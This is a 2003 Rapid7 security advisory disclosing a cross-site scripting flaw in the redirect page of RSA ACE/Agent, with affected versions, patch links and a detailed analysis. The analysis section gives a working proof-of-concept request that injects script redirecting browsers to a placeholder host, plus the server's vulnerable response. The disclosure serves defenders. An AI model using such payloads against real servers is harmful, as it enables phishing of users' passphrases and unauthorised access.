Rapid 7 Security Advisory - The secure redirect function of the RSA ACE/Agents protecting IIS, Apache, or SunONE web servers contains a cross-site scripting vulnerability. The redirector does not properly escape special characters, so requests for a URL containing special script characters will cause the ACE/Agent to emit a page containing web script which would execute in the user's browser. An attacker could potentially use this to fool unsuspecting users into entering their passphrase information, which could then be replayed by the attacker to the protected server to gain access.
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Rapid7 Advisory R7-0014
RSA SecurID ACE Agent Cross Site Scripting
Published: June 18, 2003
Revision: 1.0
http://www.rapid7.com/advisories/R7-0014.html
CVE: CAN-2003-0389
1. Affected system(s):
KNOWN VULNERABLE:
o RSA ACE/Agent version 5.0 for Windows
o RSA ACE/Agent version 5.x for Web
2. Summary
RSA SecurID provides authentication and access control using the
RSA SecurID two-factor authentication framework. RSA SecurID
two-factor authentication is based on something you know (such as a
password or a PIN) and something you have (an authenticator such as
a smart card). RSA ACE/Server provides RSA SecurID access
control for enterprises.
RSA provides several RSA ACE/Agents for use with RSA ACE/Server.
These agents provide integrated RSA SecurID access control for
3rd-party server platforms including Microsoft Windows, IIS, UNIX
servers (PAM), Apache, and Lotus Domino.
The RSA ACE/Agent allows sites to protect web resources by
requiring RSA SecurID authentication. Web browsers are
automatically redirected to an authentication page where the user
is required to authenticate with their RSA SecurID token before
they can access protected resources.
This secure redirect function of the RSA ACE/Agents protecting IIS,
Apache, or SunONE web servers contains a cross-site scripting
vulnerability. The redirector does not properly escape special
characters, so requests for a URL containing special script
characters will cause the ACE/Agent to emit a page containing
web script which would execute in the user's browser. An attacker
could potentially use this to fool unsuspecting users into entering
their passphrase information, which could then be replayed by the
attacker to the protected server to gain access.
3. Vendor status and information
RSA Security, Inc.
http://www.rsasecurity.com
The vendor has been notified. This issue had already been
discovered and fixed by RSA Security in an internal audit. The
fix was released to customers in February 2003.
4. Solution
Update to the latest version of RSA ACE/Agent for Windows - version
5.0.1 or RSA ACE/Agent for Web - version 5.1.1.
Specific hot fixes and readme files can be downloaded from the
following FTP sites:
Customers using the RSA ACE/Agent 5.0 for Windows:
RSA Security FTP Site (URL is wrapped to next line):
ftp://ftp.rsasecurity.com
/support/Patches/Ace/Agent/5.0.1_Agent/Win_Agent501.zip
Customers using the RSA ACE/Agent 5.1 for Web:
RSA Security FTP Site (URL is wrapped to next line):
ftp://ftp.rsasecurity.com
/support/Patches/Ace/Agent/5.1.1_Agent/WebAgent5.1.1.tar.gz
5. Detailed analysis
Requests for paths containing special characters will cause these
special characters to be emitted in the resulting redirect page.
An attacker could potentially use the resulting script to quietly
redirect users to his own website, where users would be tricked
into entering their passphrase information.
For example, the following session illustrates how to redirect the
browser:
$ telnet www.example.foo 80
Connected to www.example.foo.
Escape character is '^]'.
GET /"><script>document.location="http://foo.foo"</script> HTTP/1.0
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Content-Type: text/html
<HTML>
<HEAD>
<TITLE>SecurID Secure Link Redirect</TITLE>
</HEAD>
<BODY>
<H2>
The page you are trying to access is protected by SecurID.<BR>
The administrator requires protected pages to be accessed through
a secure channel.<BR>
<A HREF="https://www.example.foo:443/"><script>
document.location="http://www.foo.foo"</script>">
Click this link to activate the secure channel for this page.</A>
</H2>
</BODY>
</HTML>
6. Contact Information
Rapid7 Security Advisories
Email: advisory@rapid7.com
Web: http://www.rapid7.com/
Phone: +1 (212) 558-8700
7. Disclaimer and Copyright
Rapid7, Inc. is not responsible for the misuse of the information
provided in our security advisories. These advisories are a service
to the professional security community. There are NO WARRANTIES
with regard to this information. Any application or distribution of
this information constitutes acceptance AS IS, at the user's own
risk. This information is subject to change without notice.
This advisory Copyright (C) 2003 Rapid7, Inc. Permission is
hereby granted to redistribute this advisory, providing that no
changes are made and that the copyright notices and disclaimers
remain intact.
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